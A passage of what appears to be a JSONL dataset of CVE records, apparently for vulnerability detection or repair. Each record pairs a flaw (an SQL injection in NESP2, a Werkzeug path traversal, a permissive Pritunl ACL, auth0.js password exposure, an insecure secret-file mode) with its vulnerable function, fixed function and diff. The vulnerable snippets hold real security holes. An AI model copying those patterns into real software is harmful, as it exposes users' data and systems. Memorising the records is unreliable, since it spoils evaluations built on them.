err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_167_1", "commit": "0b62633", "file_path": "pkg/build/builder/docker.go", "start_line": 240, "end_line": 309, "snippet": "func (d *DockerBuilder) copyLocalObject(s localObjectBuildSource, sourceDir, targetDir string) error {\n\tif !filepath.IsAbs(sourceDir) {\n\t\treturn fmt.Errorf(\"cannot copy local object - source directory %q must be an absolute path\", sourceDir)\n\n\t}\n\tif !filepath.IsAbs(targetDir) {\n\t\treturn fmt.Errorf(\"cannot copy local object - target directory %q must be an absolute path\", targetDir)\n\t}\n\tdstDir := filepath.Join(targetDir, s.DestinationPath())\n\tif err := os.MkdirAll(dstDir, 0777); err != nil {\n\t\treturn err\n\t}\n\t// Evaluate symlinks at the destination dir. EvalSymlinks calls filepath.Clean, ensuring the\n\t// returned path is an absolute path (we checked targetDir and thus dstDir is absolute above).\n\tdstDir, err := filepath.EvalSymlinks(dstDir)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// sourceDir and targetDir should always be absolute paths, therefore HasPrefix can verify if\n\t// dstDir is a subdirectory of targetDir.\n\tif !strings.HasPrefix(dstDir, targetDir) {\n\t\treturn fmt.Errorf(\"destination path %q is outside of the target directory %q\", dstDir, targetDir)\n\t}\n\n\tlog.V(3).Infof(\"Copying files from the build source %q to %q\", s.LocalObjectRef().Name, dstDir)\n\n\t// Build sources from Secrets or ConfigMaps contain nested directories and fairly baroque links.\n\t// To prevent extra data being copied, perform the following steps:\n\t//\n\t// 1. Only top level files and directories within the secret directory are candidates\n\t// 2. Any item starting with '..' is ignored\n\t// 3. Destination directories are created first with 0777\n\t// 4. Use the '-L' option to cp to copy only contents.\n\t//\n\tsrcDir := filepath.Join(sourceDir, s.LocalObjectRef().Name)\n\tif err := filepath.Walk(srcDir, func(path string, info os.FileInfo, err error) error {\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif srcDir == path {\n\t\t\treturn nil\n\t\t}\n\n\t\t// skip any contents that begin with \"..\"\n\t\tif strings.HasPrefix(filepath.Base(path), \"..\") {\n\t\t\tif info.IsDir() {\n\t\t\t\treturn filepath.SkipDir\n\t\t\t}\n\t\t\treturn nil\n\t\t}\n\n\t\t// ensure all directories are traversable\n\t\tif info.IsDir() {\n\t\t\tif err := os.MkdirAll(dstDir, 0777); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\tout, err := exec.Command(\"cp\", \"-vLRf\", path, dstDir+\"/\").Output()\n\t\tif err != nil {\n\t\t\tlog.V(4).Infof(\"Build source %q failed to copy: %q\", s.LocalObjectRef().Name, string(out))\n\t\t\treturn err\n\t\t}\n\t\t// See what is copied when debugging.\n\t\tlog.V(5).Infof(\"Result of build source copy %s\\n%s\", s.LocalObjectRef().Name, string(out))\n\t\treturn nil\n\t}); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}"}], "vul_patch": "--- a/pkg/build/builder/docker.go\n+++ b/pkg/build/builder/docker.go\n@@ -1,12 +1,31 @@\n func (d *DockerBuilder) copyLocalObject(s localObjectBuildSource, sourceDir, targetDir string) error {\n+\tif !filepath.IsAbs(sourceDir) {\n+\t\treturn fmt.Errorf(\"cannot copy local object - source directory %q must be an absolute path\", sourceDir)\n+\n+\t}\n+\tif !filepath.IsAbs(targetDir) {\n+\t\treturn fmt.Errorf(\"cannot copy local object - target directory %q must be an absolute path\", targetDir)\n+\t}\n \tdstDir := filepath.Join(targetDir, s.DestinationPath())\n \tif err := os.MkdirAll(dstDir, 0777); err != nil {\n \t\treturn err\n \t}\n+\t// Evaluate symlinks at the destination dir. EvalSymlinks calls filepath.Clean, ensuring the\n+\t// returned path is an absolute path (we checked targetDir and thus dstDir is absolute above).\n+\tdstDir, err := filepath.EvalSymlinks(dstDir)\n+\tif err != nil {\n+\t\treturn err\n+\t}\n+\t// sourceDir and targetDir should always be absolute paths, therefore HasPrefix can verify if\n+\t// dstDir is a subdirectory of targetDir.\n+\tif !strings.HasPrefix(dstDir, targetDir) {\n+\t\treturn fmt.Errorf(\"destination path %q is outside of the target directory %q\", dstDir, targetDir)\n+\t}\n+\n \tlog.V(3).Infof(\"Copying files from the build source %q to %q\", s.LocalObjectRef().Name, dstDir)\n \n-\t// Build sources contain nested directories and fairly baroque links. To prevent extra data being\n-\t// copied, perform the following steps:\n+\t// Build sources from Secrets or ConfigMaps contain nested directories and fairly baroque links.\n+\t// To prevent extra data being copied, perform the following steps:\n \t//\n \t// 1. Only top level files and directories within the secret directory are candidates\n \t// 2. Any item starting with '..' is ignored\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-25372", "cve_description": "Pritunl Client through 1.2.3019.52 on Windows allows local privilege escalation, related to an ACL entry for CREATOR OWNER in platform_windows.go.", "cwe_info": {"CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/pritunl/pritunl-client-electron", "patch_url": ["https://github.com/pritunl/pritunl-client-electron/commit/e16d47437f8ef62546aa00edb0d64be2a7d2205b"], "programing_language": "Go", "vul_func": [{"id": "vul_go_229_1", "commit": "262bcd3", "file_path": "service/platform/platform_windows.go", "start_line": 12, "end_line": 37, "snippet": "func MkdirSecure(pth string) (err error) {\n\terr = os.MkdirAll(pth, 0755)\n\tif err != nil {\n\t\terr = &errortypes.WriteError{\n\t\t\terrors.Wrap(err, \"utils: Failed to create directory\"),\n\t\t}\n\t\treturn\n\t}\n\n\terr = acl.Apply(\n\t\tpth,\n\t\ttrue,\n\t\tfalse,\n\t\tacl.GrantName(windows.GENERIC_ALL, \"CREATOR OWNER\"),\n\t\tacl.GrantName(windows.GENERIC_ALL, \"SYSTEM\"),\n\t\tacl.GrantName(windows.GENERIC_ALL, \"Administrators\"),\n\t)\n\tif err != nil {\n\t\terr = &errortypes.WriteError{\n\t\t\terrors.Wrap(err, \"utils: Failed to acl directory\"),\n\t\t}\n\t\treturn\n\t}\n\n\treturn\n}"}], "fix_func": [{"id": "fix_go_229_1", "commit": "e16d47437f8ef62546aa00edb0d64be2a7d2205b", "file_path": "service/platform/platform_windows.go", "start_line": 12, "end_line": 36, "snippet": "func MkdirSecure(pth string) (err error) {\n\terr = os.MkdirAll(pth, 0755)\n\tif err != nil {\n\t\terr = &errortypes.WriteError{\n\t\t\terrors.Wrap(err, \"utils: Failed to create directory\"),\n\t\t}\n\t\treturn\n\t}\n\n\terr = acl.Apply(\n\t\tpth,\n\t\ttrue,\n\t\tfalse,\n\t\tacl.GrantName(windows.GENERIC_ALL, \"SYSTEM\"),\n\t\tacl.GrantName(windows.GENERIC_ALL, \"Administrators\"),\n\t)\n\tif err != nil {\n\t\terr = &errortypes.WriteError{\n\t\t\terrors.Wrap(err, \"utils: Failed to acl directory\"),\n\t\t}\n\t\treturn\n\t}\n\n\treturn\n}"}], "vul_patch": "--- a/service/platform/platform_windows.go\n+++ b/service/platform/platform_windows.go\n@@ -11,7 +11,6 @@\n \t\tpth,\n \t\ttrue,\n \t\tfalse,\n-\t\tacl.GrantName(windows.GENERIC_ALL, \"CREATOR OWNER\"),\n \t\tacl.GrantName(windows.GENERIC_ALL, \"SYSTEM\"),\n \t\tacl.GrantName(windows.GENERIC_ALL, \"Administrators\"),\n \t)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-5263", "cve_description": "auth0.js (NPM package auth0-js) greater than version 8.0.0 and before version 9.12.3 has a vulnerability. In the case of an (authentication) error, the error object returned by the library contains the original request of the user, which may include the plaintext password the user entered. If the error object is exposed or logged without modification, the application risks password exposure. This is fixed in version 9.12.3", "cwe_info": {"CWE-522": {"name": "Insufficiently Protected Credentials", "description": "The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval."}}, "repo": "https://github.com/auth0/auth0.js", "patch_url": ["https://github.com/auth0/auth0.js/commit/355ca749b229fb93142f0b3978399b248d710828"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_155_1", "commit": "55b6ac8", "file_path": "src/helper/object.js", "start_line": 171, "end_line": 182, "snippet": "export default {\n  toSnakeCase: toSnakeCase,\n  toCamelCase: toCamelCase,\n  blacklist: blacklist,\n  merge: merge,\n  pick: pick,\n  getKeysNotIn: getKeysNotIn,\n  extend: extend,\n  getOriginFromUrl: getOriginFromUrl,\n  getLocationFromUrl: getLocationFromUrl,\n  trimUserDetails: trimUserDetails\n};"}, {"id": "vul_js_155_2", "commit": "55b6ac8", "file_path": "src/helper/response-handler.js", "start_line": 4, "end_line": 99, "snippet": "function wrapCallback(cb, options) {\n  options = options || {};\n  options.ignoreCasing = options.ignoreCasing ? options.ignoreCasing : false;\n\n  return function(err, data) {\n    var errObj;\n\n    if (!err && !data) {\n      return cb(error.buildResponse('generic_error', 'Something went wrong'));\n    }\n\n    if (!err && data.err) {\n      err = data.err;\n      data = null;\n    }\n\n    if (!err && data.error) {\n      err = data;\n      data = null;\n    }\n\n    if (err) {\n      errObj = {\n        original: err\n      };\n\n      if (err.response && err.response.statusCode) {\n        errObj.statusCode = err.response.statusCode;\n      }\n\n      if (err.response && err.response.statusText) {\n        errObj.statusText = err.response.statusText;\n      }\n\n      if (err.response && err.response.body) {\n        err = err.response.body;\n      }\n\n      if (err.err) {\n        err = err.err;\n      }\n\n      errObj.code =\n        err.code || err.error || err.error_code || err.status || null;\n\n      errObj.description =\n        err.errorDescription ||\n        err.error_description ||\n        err.description ||\n        err.error ||\n        err.details ||\n        err.err ||\n        null;\n\n      if (options.forceLegacyError) {\n        errObj.error = errObj.code;\n        errObj.error_description = errObj.description;\n      }\n\n      if (err.error_codes && err.error_details) {\n        errObj.errorDetails = {\n          codes: err.error_codes,\n          details: err.error_details\n        };\n      }\n\n      if (err.name) {\n        errObj.name = err.name;\n      }\n\n      if (err.policy) {\n        errObj.policy = err.policy;\n      }\n\n      return cb(errObj);\n    }\n\n    if (\n      data.type &&\n      (data.type === 'text/html' || data.type === 'text/plain')\n    ) {\n      return cb(null, data.text);\n    }\n\n    if (options.ignoreCasing) {\n      return cb(null, data.body || data);\n    }\n\n    return cb(\n      null,\n      objectHelper.toCamelCase(data.body || data, [], {\n        keepOriginal: options.keepOriginalCasing\n      })\n    );\n  };\n}"}], "fix_func": [{"id": "fix_js_155_1", "commit": "355ca74", "file_path": "src/helper/object.js", "start_line": 193, "end_line": 205, "snippet": "export default {\n  toSnakeCase: toSnakeCase,\n  toCamelCase: toCamelCase,\n  blacklist: blacklist,\n  merge: merge,\n  pick: pick,\n  getKeysNotIn: getKeysNotIn,\n  extend: extend,\n  getOriginFromUrl: getOriginFromUrl,\n  getLocationFromUrl: getLocationFromUrl,\n  trimUserDetails: trimUserDetails,\n  updatePropertyOn: updatePropertyOn\n};"}, {"id": "fix_js_155_2", "commit": "355ca74", "file_path": "src/helper/response-handler.js", "start_line": 4, "end_line": 105, "snippet": "function wrapCallback(cb, options) {\n  options = options || {};\n  options.ignoreCasing = options.ignoreCasing ? options.ignoreCasing : false;\n\n  return function(err, data) {\n    var errObj;\n\n    if (!err && !data) {\n      return cb(error.buildResponse('generic_error', 'Something went wrong'));\n    }\n\n    if (!err && data.err) {\n      err = data.err;\n      data = null;\n    }\n\n    if (!err && data.error) {\n      err = data;\n      data = null;\n    }\n\n    if (err) {\n      errObj = {\n        original: err\n      };\n\n      objectHelper.updatePropertyOn(\n        errObj,\n        'original.response.req._data.password',\n        '*****'\n      );\n\n      if (err.response && err.response.statusCode) {\n        errObj.statusCode = err.response.statusCode;\n      }\n\n      if (err.response && err.response.statusText) {\n        errObj.statusText = err.response.statusText;\n      }\n\n      if (err.response && err.response.body) {\n        err = err.response.body;\n      }\n\n      if (err.err) {\n        err = err.err;\n      }\n\n      errObj.code =\n        err.code || err.error || err.error_code || err.status || null;\n\n      errObj.description =\n        err.errorDescription ||\n        err.error_description ||\n        err.description ||\n        err.error ||\n        err.details ||\n        err.err ||\n        null;\n\n      if (options.forceLegacyError) {\n        errObj.error = errObj.code;\n        errObj.error_description = errObj.description;\n      }\n\n      if (err.error_codes && err.error_details) {\n        errObj.errorDetails = {\n          codes: err.error_codes,\n          details: err.error_details\n        };\n      }\n\n      if (err.name) {\n        errObj.name = err.name;\n      }\n\n      if (err.policy) {\n        errObj.policy = err.policy;\n      }\n\n      return cb(errObj);\n    }\n\n    if (\n      data.type &&\n      (data.type === 'text/html' || data.type === 'text/plain')\n    ) {\n      return cb(null, data.text);\n    }\n\n    if (options.ignoreCasing) {\n      return cb(null, data.body || data);\n    }\n\n    return cb(\n      null,\n      objectHelper.toCamelCase(data.body || data, [], {\n        keepOriginal: options.keepOriginalCasing\n      })\n    );\n  };\n}"}, {"id": "fix_js_155_3", "commit": "355ca74", "file_path": "src/helper/object.js", "start_line": 177, "end_line": 191, "snippet": "function updatePropertyOn(obj, path, value) {\n  if (typeof path === 'string') {\n    path = path.split('.');\n  }\n\n  var next = path[0];\n\n  if (obj.hasOwnProperty(next)) {\n    if (path.length === 1) {\n      obj[next] = value;\n    } else {\n      updatePropertyOn(obj[next], path.slice(1), value);\n    }\n  }\n}"}], "vul_patch": "--- a/src/helper/object.js\n+++ b/src/helper/object.js\n@@ -8,5 +8,6 @@\n   extend: extend,\n   getOriginFromUrl: getOriginFromUrl,\n   getLocationFromUrl: getLocationFromUrl,\n-  trimUserDetails: trimUserDetails\n+  trimUserDetails: trimUserDetails,\n+  updatePropertyOn: updatePropertyOn\n };\n\n--- a/src/helper/response-handler.js\n+++ b/src/helper/response-handler.js\n@@ -23,6 +23,12 @@\n       errObj = {\n         original: err\n       };\n+\n+      objectHelper.updatePropertyOn(\n+        errObj,\n+        'original.response.req._data.password',\n+        '*****'\n+      );\n \n       if (err.response && err.response.statusCode) {\n         errObj.statusCode = err.response.statusCode;\n\n--- /dev/null\n+++ b/src/helper/response-handler.js\n@@ -0,0 +1,15 @@\n+function updatePropertyOn(obj, path, value) {\n+  if (typeof path === 'string') {\n+    path = path.split('.');\n+  }\n+\n+  var next = path[0];\n+\n+  if (obj.hasOwnProperty(next)) {\n+    if (path.length === 1) {\n+      obj[next] = value;\n+    } else {\n+      updatePropertyOn(obj[next], path.slice(1), value);\n+    }\n+  }\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-49766", "cve_description": "Werkzeug is a Web Server Gateway Interface web application library. On Python < 3.11 on Windows, os.path.isabs() does not catch UNC paths like //server/share. Werkzeug's safe_join() relies on this check, and so can produce a path that is not safe, potentially allowing unintended access to data. Applications using Python >= 3.11, or not using Windows, are not vulnerable. Werkzeug version 3.0.6 contains a patch.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/pallets/werkzeug", "patch_url": ["https://github.com/pallets/werkzeug/commit/2767bcb10a7dd1c297d812cc5e6d11a474c1f092"], "programing_language": "Python", "vul_func": [{"id": "vul_py_114_1", "commit": "50cfeeb", "file_path": "src/werkzeug/security.py", "start_line": 131, "end_line": 161, "snippet": "def safe_join(directory: str, *pathnames: str) -> str | None:\n    \"\"\"Safely join zero or more untrusted path components to a base\n    directory to avoid escaping the base directory.\n\n    :param directory: The trusted base directory.\n    :param pathnames: The untrusted path components relative to the\n        base directory.\n    :return: A safe path, otherwise ``None``.\n    \"\"\"\n    if not directory:\n        # Ensure we end up with ./path if directory=\"\" is given,\n        # otherwise the first untrusted part could become trusted.\n        directory = \".\"\n\n    parts = [directory]\n\n    for filename in pathnames:\n        if filename != \"\":\n            filename = posixpath.normpath(filename)\n\n        if (\n            any(sep in filename for sep in _os_alt_seps)\n            or os.path.isabs(filename)\n            or filename == \"..\"\n            or filename.startswith(\"../\")\n        ):\n            return None\n\n        parts.append(filename)\n\n    return posixpath.join(*parts)"}], "fix_func": [{"id": "fix_py_114_1", "commit": "2767bcb", "file_path": "src/werkzeug/security.py", "start_line": 131, "end_line": 163, "snippet": "def safe_join(directory: str, *pathnames: str) -> str | None:\n    \"\"\"Safely join zero or more untrusted path components to a base\n    directory to avoid escaping the base directory.\n\n    :param directory: The trusted base directory.\n    :param pathnames: The untrusted path components relative to the\n        base directory.\n    :return: A safe path, otherwise ``None``.\n    \"\"\"\n    if not directory:\n        # Ensure we end up with ./path if directory=\"\" is given,\n        # otherwise the first untrusted part could become trusted.\n        directory = \".\"\n\n    parts = [directory]\n\n    for filename in pathnames:\n        if filename != \"\":\n            filename = posixpath.normpath(filename)\n\n        if (\n            any(sep in filename for sep in _os_alt_seps)\n            or os.path.isabs(filename)\n            # ntpath.isabs doesn't catch this on Python < 3.11\n            or filename.startswith(\"/\")\n            or filename == \"..\"\n            or filename.startswith(\"../\")\n        ):\n            return None\n\n        parts.append(filename)\n\n    return posixpath.join(*parts)"}], "vul_patch": "--- a/src/werkzeug/security.py\n+++ b/src/werkzeug/security.py\n@@ -21,6 +21,8 @@\n         if (\n             any(sep in filename for sep in _os_alt_seps)\n             or os.path.isabs(filename)\n+            # ntpath.isabs doesn't catch this on Python < 3.11\n+            or filename.startswith(\"/\")\n             or filename == \"..\"\n             or filename.startswith(\"../\")\n         ):\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-36768", "cve_description": "A vulnerability was found in rl-institut NESP2 Initial Release/1.0. It has been classified as critical. Affected is an unknown function of the file app/database.py. The manipulation leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The patch is identified as 07c0cdf36cf6a4345086d07b54423723a496af5e. It is recommended to apply a patch to fix this issue. VDB-246642 is the identifier assigned to this vulnerability.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/rl-institut/NESP2", "patch_url": ["https://github.com/rl-institut/NESP2/commit/07c0cdf36cf6a4345086d07b54423723a496af5e"], "programing_language": "Python", "vul_func": [{"id": "vul_py_208_1", "commit": "d41badf", "file_path": "app/database.py", "start_line": 66, "end_line": 137, "snippet": "def filter_materialized_view(\n        engine,\n        view_name,\n        schema=\"web\",\n        state_code=None,\n        area=None,\n        distance_grid=None,\n        building=None,\n        buildingfp=None,\n        limit=None,\n        keys=None,\n):\n    if schema is not None:\n        view_name = \"{}.{}\".format(schema, view_name)\n    if limit is None:\n        limit = \"\"\n    else:\n        limit = \" LIMIT {}\".format(limit)\n\n    filter_cond = \"\"\n\n    if state_code is not None:\n        key = \"adm1_pcode\"\n        filter_cond = f\" WHERE {view_name}.{key}='{state_code}'\"\n\n    if area is not None:\n        key = \"area_km2\"\n        if \"WHERE\" in filter_cond:\n            filter_cond = filter_cond + f\" AND {view_name}.{key} >= {area[0]} AND\" \\\n                                        f\" {view_name}.{key} <= {area[1]}\"\n        else:\n            filter_cond = f\" WHERE {view_name}.{key} >= {area[0]} AND {view_name}.{key} <= {area[1]}\"\n\n    if distance_grid is not None:\n        key = \"grid_dist_km\"\n        if \"WHERE\" in filter_cond:\n            filter_cond = filter_cond + f\" AND {view_name}.{key} >= {distance_grid[0]} AND\" \\\n                                        f\" {view_name}.{key} <= {distance_grid[1]}\"\n        else:\n            filter_cond = f\" WHERE {view_name}.{key} >= {distance_grid[0]} AND\" \\\n                          f\" {view_name}.{key} <= {distance_grid[1]}\"\n\n    if building is not None:\n        key = \"building_count\"\n        if \"WHERE\" in filter_cond:\n            filter_cond = filter_cond + f\" AND {view_name}.{key} >= {building[0]} AND\" \\\n                                        f\" {view_name}.{key} <= {building[1]}\"\n        else:\n            filter_cond = f\" WHERE {view_name}.{key} >= {building[0]} AND\" \\\n                          f\" {view_name}.{key} <= {building[1]}\"\n\n    if buildingfp is not None:\n        key = \"percentage_building_area\"\n        if \"WHERE\" in filter_cond:\n            filter_cond = filter_cond + f\" AND {view_name}.{key} >= {buildingfp[0]} AND\" \\\n                                        f\" {view_name}.{key} <= {buildingfp[1]}\"\n        else:\n            filter_cond = f\" WHERE {view_name}.{key} >= {buildingfp[0]} AND\" \\\n                          f\" {view_name}.{key} <= {buildingfp[1]}\"\n\n    if keys is None:\n        columns = \"*\"\n    else:\n        if not isinstance(keys, str):\n            columns = \", \".join(keys)\n        else:\n            columns = \"COUNT({})\".format(keys)\n    with engine.connect() as con:\n        query = 'SELECT {} FROM {}{}{};'.format(columns, view_name, filter_cond, limit)\n        rs = con.execute(query)\n        data = rs.fetchall()\n    return data"}], "fix_func": [{"id": "fix_py_208_1", "commit": "07c0cdf", "file_path": "app/database.py", "start_line": 66, "end_line": 161, "snippet": "def filter_materialized_view(\n        engine,\n        view_name,\n        schema=\"web\",\n        state_code=None,\n        area=None,\n        distance_grid=None,\n        building=None,\n        buildingfp=None,\n        limit=None,\n        keys=None,\n):\n    \"\"\"\n\n    :param engine:\n    :param view_name: name of the view in the database (NOT A USER INPUT)\n    :param schema: name of the schema in the database (NOT A USER INPUT)\n    :param state_code: admin code of nigerian state (PROOFED USER INPUT)\n    :param area: boundaries for settlement's area filter (USER INPUT)\n    :param distance_grid: boundaries for settlement's distance to grid filter (USER INPUT)\n    :param building: boundaries for settlement's building count filter (USER INPUT)\n    :param buildingfp: boundaries for settlement's building percentage of area filter (USER INPUT)\n    :param limit: boundaries for settlement area filter (NOT A USER INPUT)\n    :param keys: list of columns to query values from (NOT A USER INPUT)\n    :return: returned data from the query\n    \"\"\"\n\n    # to hold query parameters\n    values = {}\n\n    if schema is not None:\n        view_name = \"{}.{}\".format(schema, view_name)\n\n    if limit is None:\n        limit = \"\"\n    else:\n        values[\"limit\"] = int(limit)\n        limit = \" LIMIT :limit\"\n\n    filter_cond = []\n\n    if state_code is not None:\n        key = \"adm1_pcode\"\n        filter_cond += [f\"{view_name}.{key} = :{key}\"]\n        values[key] = state_code\n\n    if area is not None:\n        key = \"area_km2\"\n        val1 = key + \"_1\"\n        val2 = key + \"_2\"\n        filter_cond += [f\"{view_name}.{key} >= :{val1}\", f\"{view_name}.{key} <= :{val2}\"]\n        values[val1] = float(area[0])\n        values[val2] = float(area[1])\n\n    if distance_grid is not None:\n        key = \"grid_dist_km\"\n        val1 = key + \"_1\"\n        val2 = key + \"_2\"\n        filter_cond += [f\"{view_name}.{key} >= :{val1}\", f\"{view_name}.{key} <= :{val2}\"]\n        values[val1] = float(distance_grid[0])\n        values[val2] = float(distance_grid[1])\n\n    if building is not None:\n        key = \"building_count\"\n        val1 = key + \"_1\"\n        val2 = key + \"_2\"\n        filter_cond += [f\"{view_name}.{key}>=:{val1}\", f\"{view_name}.{key}<=:{val2}\"]\n        values[val1] = int(building[0])\n        values[val2] = int(building[1])\n\n    if buildingfp is not None:\n        key = \"percentage_building_area\"\n        val1 = key + \"_1\"\n        val2 = key + \"_2\"\n        filter_cond += [f\"{view_name}.{key}>=:{val1}\", f\"{view_name}.{key}<=:{val2}\"]\n        values[val1] = float(buildingfp[0])\n        values[val2] = float(buildingfp[1])\n\n    if keys is None:\n        columns = \"*\"\n    else:\n        if not isinstance(keys, str):\n            columns = \", \".join(keys)\n        else:\n            columns = \"COUNT({})\".format(keys)\n\n    if len(filter_cond) > 0:\n        filter_cond_str = \" WHERE \" + \" AND \".join(filter_cond)\n    else:\n        filter_cond_str = \"\"\n\n    with engine.connect() as con:\n        query = 'SELECT {} FROM {}{}{};'.format(columns, view_name, filter_cond_str, limit)\n        rs = con.execute(text(query), **values)\n        data = rs.fetchall()\n    return data"}], "vul_patch": "--- a/app/database.py\n+++ b/app/database.py\n@@ -10,53 +10,71 @@\n         limit=None,\n         keys=None,\n ):\n+    \"\"\"\n+\n+    :param engine:\n+    :param view_name: name of the view in the database (NOT A USER INPUT)\n+    :param schema: name of the schema in the database (NOT A USER INPUT)\n+    :param state_code: admin code of nigerian state (PROOFED USER INPUT)\n+    :param area: boundaries for settlement's area filter (USER INPUT)\n+    :param distance_grid: boundaries for settlement's distance to grid filter (USER INPUT)\n+    :param building: boundaries for settlement's building count filter (USER INPUT)\n+    :param buildingfp: boundaries for settlement's building percentage of area filter (USER INPUT)\n+    :param limit: boundaries for settlement area filter (NOT A USER INPUT)\n+    :param keys: list of columns to query values from (NOT A USER INPUT)\n+    :return: returned data from the query\n+    \"\"\"\n+\n+    # to hold query parameters\n+    values = {}\n+\n     if schema is not None:\n         view_name = \"{}.{}\".format(schema, view_name)\n+\n     if limit is None:\n         limit = \"\"\n     else:\n-        limit = \" LIMIT {}\".format(limit)\n+        values[\"limit\"] = int(limit)\n+        limit = \" LIMIT :limit\"\n \n-    filter_cond = \"\"\n+    filter_cond = []\n \n     if state_code is not None:\n         key = \"adm1_pcode\"\n-        filter_cond = f\" WHERE {view_name}.{key}='{state_code}'\"\n+        filter_cond += [f\"{view_name}.{key} = :{key}\"]\n+        values[key] = state_code\n \n     if area is not None:\n         key = \"area_km2\"\n-        if \"WHERE\" in filter_cond:\n-            filter_cond = filter_cond + f\" AND {view_name}.{key} >= {area[0]} AND\" \\\n-                                        f\" {view_name}.{key} <= {area[1]}\"\n-        else:\n-            filter_cond = f\" WHERE {view_name}.{key} >= {area[0]} AND {view_name}.{key} <= {area[1]}\"\n+        val1 = key + \"_1\"\n+        val2 = key + \"_2\"\n+        filter_cond += [f\"{view_name}.{key} >= :{val1}\", f\"{view_name}.{key} <= :{val2}\"]\n+        values[val1] = float(area[0])\n+        values[val2] = float(area[1])\n \n     if distance_grid is not None:\n         key = \"grid_dist_km\"\n-        if \"WHERE\" in filter_cond:\n-            filter_cond = filter_cond + f\" AND {view_name}.{key} >= {distance_grid[0]} AND\" \\\n-                                        f\" {view_name}.{key} <= {distance_grid[1]}\"\n-        else:\n-            filter_cond = f\" WHERE {view_name}.{key} >= {distance_grid[0]} AND\" \\\n-                          f\" {view_name}.{key} <= {distance_grid[1]}\"\n+        val1 = key + \"_1\"\n+        val2 = key + \"_2\"\n+        filter_cond += [f\"{view_name}.{key} >= :{val1}\", f\"{view_name}.{key} <= :{val2}\"]\n+        values[val1] = float(distance_grid[0])\n+        values[val2] = float(distance_grid[1])\n \n     if building is not None:\n         key = \"building_count\"\n-        if \"WHERE\" in filter_cond:\n-            filter_cond = filter_cond + f\" AND {view_name}.{key} >= {building[0]} AND\" \\\n-                                        f\" {view_name}.{key} <= {building[1]}\"\n-        else:\n-            filter_cond = f\" WHERE {view_name}.{key} >= {building[0]} AND\" \\\n-                          f\" {view_name}.{key} <= {building[1]}\"\n+        val1 = key + \"_1\"\n+        val2 = key + \"_2\"\n+        filter_cond += [f\"{view_name}.{key}>=:{val1}\", f\"{view_name}.{key}<=:{val2}\"]\n+        values[val1] = int(building[0])\n+        values[val2] = int(building[1])\n \n     if buildingfp is not None:\n         key = \"percentage_building_area\"\n-        if \"WHERE\" in filter_cond:\n-            filter_cond = filter_cond + f\" AND {view_name}.{key} >= {buildingfp[0]} AND\" \\\n-                                        f\" {view_name}.{key} <= {buildingfp[1]}\"\n-        else:\n-            filter_cond = f\" WHERE {view_name}.{key} >= {buildingfp[0]} AND\" \\\n-                          f\" {view_name}.{key} <= {buildingfp[1]}\"\n+        val1 = key + \"_1\"\n+        val2 = key + \"_2\"\n+        filter_cond += [f\"{view_name}.{key}>=:{val1}\", f\"{view_name}.{key}<=:{val2}\"]\n+        values[val1] = float(buildingfp[0])\n+        values[val2] = float(buildingfp[1])\n \n     if keys is None:\n         columns = \"*\"\n@@ -65,8 +83,14 @@\n             columns = \", \".join(keys)\n         else:\n             columns = \"COUNT({})\".format(keys)\n+\n+    if len(filter_cond) > 0:\n+        filter_cond_str = \" WHERE \" + \" AND \".join(filter_cond)\n+    else:\n+        filter_cond_str = \"\"\n+\n     with engine.connect() as con:\n-        query = 'SELECT {} FROM {}{}{};'.format(columns, view_name, filter_cond, limit)\n-        rs = con.execute(query)\n+        query = 'SELECT {} FROM {}{}{};'.format(columns, view_name, filter_cond_str, limit)\n+        rs = con.execute(text(query), **values)\n         data = rs.fetchall()\n     return data\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-32303", "cve_description": "Planet is software that provides satellite data. The secret file stores the user's Planet API authentication information. It should only be accessible by the user, but before version 2.0.1, its permissions allowed the user's group and non-group to read the file as well. This issue was patched in version 2.0.1. As a workaround, set the secret file permissions to only user read/write by hand.\n", "cwe_info": {"CWE-732": {"name": "Incorrect Permission Assignment for Critical Resource", "description": "The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors."}}, "repo": "https://github.com/planetlabs/planet-client-python", "patch_url": ["https://github.com/planetlabs/planet-client-python/commit/d71415a83119c5e89d7b80d5f940d162376ee3b7"], "programing_language": "Python", "vul_func": [{"id": "vul_py_52_1", "commit": "9783607", "file_path": "planet/auth.py", "start_line": 229, "end_line": 230, "snippet": "    def __init__(self, path):\n        self.path = path"}, {"id": "vul_py_52_2", "commit": "9783607", "file_path": "planet/auth.py", "start_line": 241, "end_line": 244, "snippet": "    def _write(self, contents: dict):\n        LOGGER.debug(f'Writing to {self.path}')\n        with open(self.path, 'w') as fp:\n            fp.write(json.dumps(contents))"}], "fix_func": [{"id": "fix_py_52_1", "commit": "d71415a", "file_path": "planet/auth.py", "start_line": 230, "end_line": 238, "snippet": "    def 